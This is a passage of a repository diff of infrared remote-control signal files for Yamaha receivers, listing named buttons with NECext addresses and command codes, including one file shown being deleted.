MENU_RIGHT -type: parsed -protocol: NECext -address: 7D 00 00 00 -command: 9E 00 00 00 -# -name: MENU_LEFT -type: parsed -protocol: NECext -address: 7D 00 00 00 -command: 9F 00 00 00 -# -name: XM_0 -type: parsed -protocol: NECext -address: 7D 00 00 00 -command: A0 00 00 00 -# -name: XM_1 -type: parsed -protocol: NECext -address: 7D 00 00 00 -command: A1 00 00 00 -# -name: XM_2 -type: parsed -protocol: NECext -address: 7D 00 00 00 -command: A2 00 00 00 -# -name: XM_3 -type: parsed -protocol: NECext -address: 7D 00 00 00 -command: A3 00 00 00 -# -name: XM_4 -type: parsed -protocol: NECext -address: 7D 00 00 00 -command: A4 00 00 00 -# -name: XM_5 -type: parsed -protocol: NECext -address: 7D 00 00 00 -command: A5 00 00 00 -# -name: XM_6 -type: parsed -protocol: NECext -address: 7D 00 00 00 -command: A6 00 00 00 -# -name: XM_7 -type: parsed -protocol: NECext -address: 7D 00 00 00 -command: A7 00 00 00 -# -name: XM_8 -type: parsed -protocol: NECext -address: 7D 00 00 00 -command: A8 00 00 00 -# -name: XM_9 -type: parsed -protocol: NECext -address: 7D 00 00 00 -command: A9 00 00 00 -# -name: TUNER_PRESET_A -type: parsed -protocol: NECext -address: 7D 00 00 00 -command: AC 00 00 00 -# -name: TUNER_PRESET_B -type: parsed -protocol: NECext -address: 7D 00 00 00 -command: AD 00 00 00 -# -name: TUNER_PRESET_C -type: parsed -protocol: NECext -address: 7D 00 00 00 -command: AE 00 00 00 -# -name: TUNER_PRESET_D -type: parsed -protocol: NECext -address: 7D 00 00 00 -command: AF 00 00 00 -# -name: TUNER_PRESET_E -type: parsed -protocol: NECext -address: 7D 00 00 00 -command: B0 00 00 00 -# -name: TUNER_A-E/CAT.- -type: parsed -protocol: NECext -address: 7D 00 00 00 -command: BB 00 00 00 -# -name: TUNER_BAND -type: parsed -protocol: NECext -address: 7D 00 00 00 -command: BD 00 00 00 -# -name: TUNER_MEMORY -type: parsed -protocol: NECext -address: 7D 00 00 00 -command: BE 00 00 00 -# -name: EFFECT_ON/OFF -type: parsed -protocol: NECext -address: 7D 00 00 00 -command: C1 00 00 00 -# -name: ON_SCREEN -type: parsed -protocol: NECext -address: 7D 00 00 00 -command: C2 00 00 00 -# -name: PARAMETER_DOWN -type: parsed -protocol: NECext -address: 7D 00 00 00 -command: C4 00 00 00 -# -name: PARAMETER_UP -type: parsed -protocol: NECext -address: 7D 00 00 00 -command: C5 00 00 00 -# -name: PARAMETER_RIGHT -type: parsed -protocol: NECext -address: 7D 00 00 00 -command: C6 00 00 00 -# -name: PARAMETER_LEFT -type: parsed -protocol: NECext -address: 7D 00 00 00 -command: C7 00 00 00 -# -name: REAR_LEVEL_+ -type: parsed -protocol: NECext -address: 7D 00 00 00 -command: C8 00 00 00 -# -name: REAR_LEVEL_- -type: parsed -protocol: NECext -address: 7D 00 00 00 -command: C9 00 00 00 -# -name: TEST -type: parsed -protocol: NECext -address: 7D 00 00 00 -command: CA 00 00 00 -# -name: CENTER_LEVEL_+ -type: parsed -protocol: NECext -address: 7D 00 00 00 -command: CB 00 00 00 -# -name: CENTER_LEVEL_- -type: parsed -protocol: NECext -address: 7D 00 00 00 -command: CC 00 00 00 -# -name: FRONT_LEVEL_+ -type: parsed -protocol: NECext -address: 7D 00 00 00 -command: CD 00 00 00 -# -name: FRONT_LEVEL_- -type: parsed -protocol: NECext -address: 7D 00 00 00 -command: CE 00 00 00 -# -name: HALL_1 -type: parsed -protocol: NECext -address: 7D 00 00 00 -command: D0 00 00 00 -# -name: HALL_A/B -type: parsed -protocol: NECext -address: 7D 00 00 00 -command: D0 00 00 00 -# -name: HALL_2 -type: parsed -protocol: NECext -address: 7D 00 00 00 -command: D1 00 00 00 -# -name: HALL_C/D -type: parsed -protocol: NECext -address: 7D 00 00 00 -command: D1 00 00 00 -# -name: CHURCH -type: parsed -protocol: NECext -address: 7D 00 00 00 -command: D2 00 00 00 -# -name: HALL_E/LIVE_CONCERT -type: parsed -protocol: NECext -address: 7D 00 00 00 -command: D2 00 00 00 -# -name: JAZZ_CLUB -type: parsed -protocol: NECext -address: 7D 00 00 00 -command: D3 00 00 00 -# -name: CHURCH-FREIBURG/TOKY -type: parsed -protocol: NECext -address: 7D 00 00 00 -command: D3 00 00 00 -# -name: ROCK_CONCERT -type: parsed -protocol: NECext -address: 7D 00 00 00 -command: D4 00 00 00 -# -name: WAREHOUSE/ROXY_THEAT -type: parsed -protocol: NECext -address: 7D 00 00 00 -command: D4 00 00 00 -# -name: ENTERTAINMENT -type: parsed -protocol: NECext -address: 7D 00 00 00 -command: D5 00 00 00 -# -name: CELL_CLB/VILLAGE_G -type: parsed -protocol: NECext -address: 7D 00 00 00 -command: D5 00 00 00 -# -name: CONCERT_VIDEO_1 -type: parsed -protocol: NECext -address: 7D 00 00 00 -command: D6 00 00 00 -# -name: RECITAL/CLASS_OPERA -type: parsed -protocol: NECext -address: 7D 00 00 00 -command: D6 00 00 00 -# -name: CONCERT_VIDEO_2 -type: parsed -protocol: NECext -address: 7D 00 00 00 -command: D7 00 00 00 -# -name: POP_ROCK/PAVILION -type: parsed -protocol: NECext -address: 7D 00 00 00 -command: D7 00 00 00 -# -name: TV_THEATER -type: parsed -protocol: NECext -address: 7D 00 00 00 -command: D8 00 00 00 -# -name: VARIETY_SPORTS/MONO -type: parsed -protocol: NECext -address: 7D 00 00 00 -command: D8 00 00 00 -# -name: MOVIE_THEATER_1 -type: parsed -protocol: NECext -address: 7D 00 00 00 -command: D9 00 00 00 -# -name: MUSICAL/SPECTACLE -type: parsed -protocol: NECext -address: 7D 00 00 00 -command: D9 00 00 00 -# -name: MOVIE_THEATER_2 -type: parsed -protocol: NECext -address: 7D 00 00 00 -command: DA 00 00 00 -# -name: ADVENTURE/GENERAL -type: parsed -protocol: NECext -address: 7D 00 00 00 -command: DA 00 00 00 -# -name: PRO-LOGIC/DTS -type: parsed -protocol: NECext -address: 7D 00 00 00 -command: DB 00 00 00 -# -name: NORMAL/ENHANCED -type: parsed -protocol: NECext -address: 7D 00 00 00 -command: DB 00 00 00 -# -name: STANDBY/ON -type: parsed -protocol: NECext -address: 7D 00 00 00 -command: E0 00 00 00 -# -name: POWER_TOGGLE -type: parsed -protocol: NECext -address: 7D 00 00 00 -command: E0 00 00 00 -# -name: POWER_ON -type: parsed -protocol: NECext -address: 7D 00 00 00 -command: E1 00 00 00 -# -name: POWER_STANDBY -type: parsed -protocol: NECext -address: 7D 00 00 00 -command: E2 00 00 00 -# -name: SLEEP -type: parsed -protocol: NECext -address: 7D 00 00 00 -command: E3 00 00 00 -# -name: VOLUME_+ -type: parsed -protocol: NECext -address: 7D 00 00 00 -command: E4 00 00 00 -# -name: VOLUME_UP -type: parsed -protocol: NECext -address: 7D 00 00 00 -command: E4 00 00 00 -# -name: VOLUME_- -type: parsed -protocol: NECext -address: 7D 00 00 00 -command: E5 00 00 00 -# -name: VOLUME_DOWN -type: parsed -protocol: NECext -address: 7D 00 00 00 -command: E5 00 00 00 -# -name: SPEAKER_A_ON/OFF -type: parsed -protocol: NECext -address: 7D 00 00 00 -command: E7 00 00 00 -# -name: SPEAKERS_A_TOGGLE -type: parsed -protocol: NECext -address: 7D 00 00 00 -command: E7 00 00 00 -# -name: SPEAKER_B_ON/OFF -type: parsed -protocol: NECext -address: 7D 00 00 00 -command: E8 00 00 00 -# -name: SPEAKERS_B_TOGGLE -type: parsed -protocol: NECext -address: 7D 00 00 00 -command: E8 00 00 00 -# -name: PHONO -type: parsed -protocol: NECext -address: 7D 00 00 00 -command: E9 00 00 00 -# -name: INPUT_PHONO -type: parsed -protocol: NECext -address: 7D 00 00 00 -command: E9 00 00 00 -# -name: CD -type: parsed -protocol: NECext -address: 7D 00 00 00 -command: EA 00 00 00 -# -name: INPUT_CD -type: parsed -protocol: NECext -address: 7D 00 00 00 -command: EA 00 00 00 -# -name: TUNER -type: parsed -protocol: NECext -address: 7D 00 00 00 -command: EB 00 00 00 -# -name: INPUT_TUNER -type: parsed -protocol: NECext -address: 7D 00 00 00 -command: EB 00 00 00 -# -name: TAPE_1 -type: parsed -protocol: NECext -address: 7D 00 00 00 -command: EC 00 00 00 -# -name: INPUT_TAPE/MD -type: parsed -protocol: NECext -address: 7D 00 00 00 -command: EC 00 00 00 -# -name: TAPE_2 -type: parsed -protocol: NECext -address: 7D 00 00 00 -command: ED 00 00 00 -# -name: AUX -type: parsed -protocol: NECext -address: 7D 00 00 00 -command: EE 00 00 00 -# -name: INPUT_DVD -type: parsed -protocol: NECext -address: 7D 00 00 00 -command: EE 00 00 00 -# -name: INPUT_D-TV -type: parsed -protocol: NECext -address: 7D 00 00 00 -command: EF 00 00 00 -# -name: INPUT_VCR1 -type: parsed -protocol: NECext -address: 7D 00 00 00 -command: F0 00 00 00 -# -name: PRESET_+ -type: parsed -protocol: NECext -address: 7D 00 00 00 -command: F5 00 00 00 -# -name: TUNER_PRESET+ -type: parsed -protocol: NECext -address: 7D 00 00 00 -command: F5 00 00 00 -# -name: TUNER_PRESET/CH_UP -type: parsed -protocol: NECext -address: 7D 00 00 00 -command: F5 00 00 00 -# -name: PRESET_- -type: parsed -protocol: NECext -address: 7D 00 00 00 -command: F6 00 00 00 -# -name: TUNER_PRESET- -type: parsed -protocol: NECext -address: 7D 00 00 00 -command: F6 00 00 00 -# -name: TUNER_PRESET/CH_DN -type: parsed -protocol: NECext -address: 7D 00 00 00 -command: F6 00 00 00 -# -name: A/B/C/D/E -type: parsed -protocol: NECext -address: 7D 00 00 00 -command: F7 00 00 00 -# -name: TUNER_A/B/C/D/E -type: parsed -protocol: NECext -address: 7D 00 00 00 -command: F7 00 00 00 -# -name: TUNER_A-E/CAT.+ -type: parsed -protocol: NECext -address: 7D 00 00 00 -command: F7 00 00 00 -# -name: TUNER_PRESET_1 -type: parsed -protocol: NECext -address: 7D 00 00 00 -command: F8 00 00 00 -# -name: TUNER_PRESET_2 -type: parsed -protocol: NECext -address: 7D 00 00 00 -command: F9 00 00 00 -# -name: TUNER_PRESET_3 -type: parsed -protocol: NECext -address: 7D 00 00 00 -command: FA 00 00 00 -# -name: TUNER_PRESET_4 -type: parsed -protocol: NECext -address: 7D 00 00 00 -command: FB 00 00 00 -# -name: TUNER_PRESET_5 -type: parsed -protocol: NECext -address: 7D 00 00 00 -command: FC 00 00 00 -# -name: TUNER_PRESET_6 -type: parsed -protocol: NECext -address: 7D 00 00 00 -command: FD 00 00 00 -# -name: TUNER_PRESET_7 -type: parsed -protocol: NECext -address: 7D 00 00 00 -command: FE 00 00 00 -# -name: TUNER_PRESET_8 -type: parsed -protocol: NECext -address: 7D 00 00 00 -command: FF 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/Receiver/126,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/Receiver/126,-1.ir deleted file mode 100644 index ef0215cec..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/Receiver/126,-1.ir +++ /dev/null @@ -1,13406 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: Z4:_VOL_MEM_1 -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 00 00 00 00 -# -name: Z4:_VOL_MEMORY_1 -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 00 00 00 00 -# -name: Z4:_VOL_MEMORY_1 -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 00 00 00 00 -# -name: Z4:_VOL_MEM_2 -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 01 00 00 00 -# -name: Z4:_VOL_MEMORY_2 -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 01 00 00 00 -# -name: Z4:_VOL_MEMORY_2 -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 01 00 00 00 -# -name: Z4:_VOL_MEM_3 -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 02 00 00 00 -# -name: Z4:_VOL_MEMORY_3 -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 02 00 00 00 -# -name: Z4:_VOL_MEMORY_3 -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 02 00 00 00 -# -name: Z4:_VOL_MEM_4 -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 03 00 00 00 -# -name: Z4:_VOL_MEMORY_4 -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 03 00 00 00 -# -name: Z4:_VOL_MEMORY_4 -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 03 00 00 00 -# -name: Z4:_VOL_MEM_5 -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 04 00 00 00 -# -name: Z4:_VOL_MEM_6 -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 05 00 00 00 -# -name: Z4:_VOL_REC_1 -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 06 00 00 00 -# -name: Z4:_VOL_RECALL_1 -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 06 00 00 00 -# -name: Z4:_VOL_RECALL_1 -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 06 00 00 00 -# -name: Z4:_VOL_REC_2 -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 07 00 00 00 -# -name: Z4:_VOL_RECALL_2 -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 07 00 00 00 -# -name: Z4:_VOL_RECALL_2 -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 07 00 00 00 -# -name: Z4:_VOL_REC_3 -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 08 00 00 00 -# -name: Z4:_VOL_RECALL_3 -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 08 00 00 00 -# -name: Z4:_VOL_REC_4 -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 09 00 00 00 -# -name: Z4:_VOL_RECALL_4 -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 09 00 00 00 -# -name: Z4:_VOL_RECALL_4 -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 09 00 00 00 -# -name: Z4:_VOL_REC_5 -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 0A 00 00 00 -# -name: Z4:_VOL_REC_6 -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 0B 00 00 00 -# -name: Z4:_MUTE_FULL -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 0C 00 00 00 -# -name: Z4:_MUTE_OFF -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 0D 00 00 00 -# -name: DSP_ENHANCER_XCH -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 14 00 00 00 -# -name: DSP:_X_CH_ENHANCER -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 14 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 14 00 00 00 -# -name: DSP_ENHANCER_7CH -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 14 00 00 00 -# -name: DSP_XCH_ENHANCER -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 14 00 00 00 -# -name: DSP:_ENHANCER_XCH -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 14 00 00 00 -# -name: DSP:_XCH_ENHANCE -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 14 00 00 00 -# -name: DSP:_XCH_ENHANCE -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 14 00 00 00 -# -name: DSP_EX_SUR_NEURAL -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 15 00 00 00 -# -name: DECOD:_E_NEURAL -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 15 00 00 00 -# -name: SLEEP_ON -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 16 00 00 00 -# -name: MZ:_SLEEP_ON -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 16 00 00 00 -# -name: SLEEP_ON -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 17 00 00 00 -# -name: Z2:_SLEEP_ON -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 17 00 00 00 -# -name: SLEEP_ON -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 18 00 00 00 -# -name: Z3:_SLEEP_ON -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 18 00 00 00 -# -name: SLEEP_ON -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 18 00 00 00 -# -name: Z4:_SLEEP_ON -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 19 00 00 00 -# -name: SLEEP_ON -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 19 00 00 00 -# -name: SLEEP_ON -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 19 00 00 00 -# -name: SLEEP_ON_ALL -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 1A 00 00 00 -# -name: Z2_MUTE_OFF -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 1A 00 00 00 -# -name: AZ:_SLEEP_ON -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 1A 00 00 00 -# -name: SLEEP_OFF -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 1B 00 00 00 -# -name: MZ:_SLEEP_OFF -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 1B 00 00 00 -# -name: SLEEP_OFF -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 1C 00 00 00 -# -name: Z2:_SLEEP_OFF -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 1C 00 00 00 -# -name: SLEEP_OFF -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 1D 00 00 00 -# -name: Z3:_SLEEP_OFF -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 1D 00 00 00 -# -name: SLEEP_OFF -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 1D 00 00 00 -# -name: Z4:_SLEEP_OFF -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 1E 00 00 00 -# -name: SLEEP_OFF -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 1E 00 00 00 -# -name: SLEEP_OFF -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 1E 00 00 00 -# -name: RECOVERY_RESERVE -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 1F 00 00 00 -# -name: RECOVERY:_ON -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 1F 00 00 00 -# -name: HOME_BANK_MAIN -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 20 00 00 00 -# -name: Z3:_VOL_MEM_SAVE_1 -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 20 00 00 00 -# -name: Z3_VOL_MEM_SAVE_1 -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 20 00 00 00 -# -name: Z3:_VL_P_MEM_A -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 20 00 00 00 -# -name: V._PRESET_MEMORY_A -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 20 00 00 00 -# -name: Z3_VOL_MEM:_SAVE_1 -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 20 00 00 00 -# -name: HDMI_OUT_1 -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 20 00 00 00 -# -name: VOL_MEMORY_1 -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 20 00 00 00 -# -name: MZ:_HDMI_OUT_1 -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 20 00 00 00 -# -name: Z3:_VOL_MEM_1 -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 20 00 00 00 -# -name: HDMI_OUT_1 -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 20 00 00 00 -# -name: Z3:_VOL_MEMORY_1 -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 20 00 00 00 -# -name: Z3:_VOL_MEMORY_1 -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 20 00 00 00 -# -name: HOME_BANK_A -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 21 00 00 00 -# -name: Z3:_VOL_MEM_SAVE_2 -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 21 00 00 00 -# -name: Z3_VOL_MEM_SAVE_2 -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 21 00 00 00 -# -name: Z3:_VL_P_MEM_B -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 21 00 00 00 -# -name: V._PRESET_MEMORY_B -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 21 00 00 00 -# -name: Z3_VOL_MEM:_SAVE_2 -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 21 00 00 00 -# -name: HDMI_OUT_2 -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 21 00 00 00 -# -name: VOL_MEMORY_2 -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 21 00 00 00 -# -name: MZ:_HDMI_OUT_2 -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 21 00 00 00 -# -name: Z3:_VOL_MEM_2 -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 21 00 00 00 -# -name: HDMI_OUT_2 -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 21 00 00 00 -# -name: Z3:_VOL_MEMORY_2 -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 21 00 00 00 -# -name: Z3:_VOL_MEMORY_2 -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 21 00 00 00 -# -name: HOME_BANK_B -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 22 00 00 00 -# -name: Z3:_VOL_MEM_SAVE_3 -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 22 00 00 00 -# -name: Z3_VOL_MEM_SAVE_3 -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 22 00 00 00 -# -name: Z3:_VL_P_MEM_C -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 22 00 00 00 -# -name: V._PRESET_MEMORY_C -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 22 00 00 00 -# -name: Z3_VOL_MEM:_SAVE_3 -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 22 00 00 00 -# -name: DISP_ASP_SMRT_ZOOM -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 22 00 00 00 -# -name: VOL_MEMORY_3 -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 22 00 00 00 -# -name: ASPECT_SMART_ZOOM -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 22 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 22 00 00 00 -# -name: DISPLAY_SMART_ZOOM -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 22 00 00 00 -# -name: MZ:_ASP_SMRT_ZOOM -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 22 00 00 00 -# -name: Z3:_VOL_MEM_3 -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 22 00 00 00 -# -name: Z3:_VOL_MEMORY_3 -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 22 00 00 00 -# -name: Z3:_VOL_MEMORY_3 -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 22 00 00 00 -# -name: HOME_BANK_C -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 23 00 00 00 -# -name: Z3:_VOL_MEM_SAVE_4 -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 23 00 00 00 -# -name: Z3_VOL_MEM_SAVE_4 -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 23 00 00 00 -# -name: Z3:_VL_P_MEM_D -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 23 00 00 00 -# -name: V._PRESET_MEMORY_D -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 23 00 00 00 -# -name: Z3_VOL_MEM:_SAVE_4 -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 23 00 00 00 -# -name: DISP_ASP_THROUGH -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 23 00 00 00 -# -name: VOL_MEMORY_4 -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 23 00 00 00 -# -name: ASPECT_THROUGH -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 23 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 23 00 00 00 -# -name: DISPLAY_ASPECT_THROU -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 23 00 00 00 -# -name: MZ:_ASP_THROUGH -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 23 00 00 00 -# -name: Z3:_VOL_MEM_4 -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 23 00 00 00 -# -name: Z3:_VOL_MEMORY_4 -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 23 00 00 00 -# -name: Z3:_VOL_MEMORY_4 -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 23 00 00 00 -# -name: HOME_BANK_D -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 24 00 00 00 -# -name: Z3:_VOL_MEM_SAVE_5 -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 24 00 00 00 -# -name: Z3_VOL_MEM_SAVE_5 -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 24 00 00 00 -# -name: Z3:_VL_P_MEM_E -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 24 00 00 00 -# -name: V._PRESET_MEMORY_E -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 24 00 00 00 -# -name: Z3_VOL_MEM:_SAVE_5 -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 24 00 00 00 -# -name: VOLUME_+_ALL_ZONES -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 24 00 00 00 -# -name: AZ:_VOLUME_UP -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 24 00 00 00 -# -name: Z3:_VOL_MEM_5 -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 24 00 00 00 -# -name: Z3:_VOL_MEMORY_5 -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 24 00 00 00 -# -name: HOME_BANK_E -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 25 00 00 00 -# -name: Z3:_VOL_MEM_SAVE_6 -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 25 00 00 00 -# -name: Z3_VOL_MEM_SAVE_6 -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 25 00 00 00 -# -name: Z3:_VL_P_MEM_F -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 25 00 00 00 -# -name: V._PRESET_MEMORY_F -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 25 00 00 00 -# -name: Z3_VOL_MEM:_SAVE_6 -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 25 00 00 00 -# -name: VOLUME_-_ALL_ZONES -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 25 00 00 00 -# -name: AZ:_VOLUME_DOWN -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 25 00 00 00 -# -name: Z3:_VOL_MEM_6 -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 25 00 00 00 -# -name: Z3:_VOL_MEMORY_6 -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 25 00 00 00 -# -name: HOME_BANK_F -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 26 00 00 00 -# -name: Z3:_MUTE_ON -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 26 00 00 00 -# -name: Z3_MUTE_ON -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 26 00 00 00 -# -name: MUTE_ON -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 26 00 00 00 -# -name: MUTE_ON_(FULL) -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 26 00 00 00 -# -name: ?AZ:_MUTE_TOGGLE -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 26 00 00 00 -# -name: Z3:_MUTE_FULL -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 26 00 00 00 -# -name: MUTE_ON -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 26 00 00 00 -# -name: PRGRM_EFFECT_ON -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 27 00 00 00 -# -name: DSP_EFFECT_ON -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 27 00 00 00 -# -name: DSP:_EFFECT_ON -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 27 00 00 00 -# -name: DSP_STRAIGHT_OFF -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 27 00 00 00 -# -name: MUTE_ON_(FULL)_ALL_Z -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 27 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 27 00 00 00 -# -name: DSP_EFFECT_ON -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 27 00 00 00 -# -name: DSP:_STRAIGHT_OFF -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 27 00 00 00 -# -name: AZ:_MUTE_FULL -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 27 00 00 00 -# -name: EFFECT_ON -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 27 00 00 00 -# -name: MZ:_MUTE_ON -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 27 00 00 00 -# -name: DSP:_STRAIGHT_OFF -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 27 00 00 00 -# -name: SPKR_B_SET_MAIN -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 28 00 00 00 -# -name: SP_B_SET_ZONE_1 -type: parsed 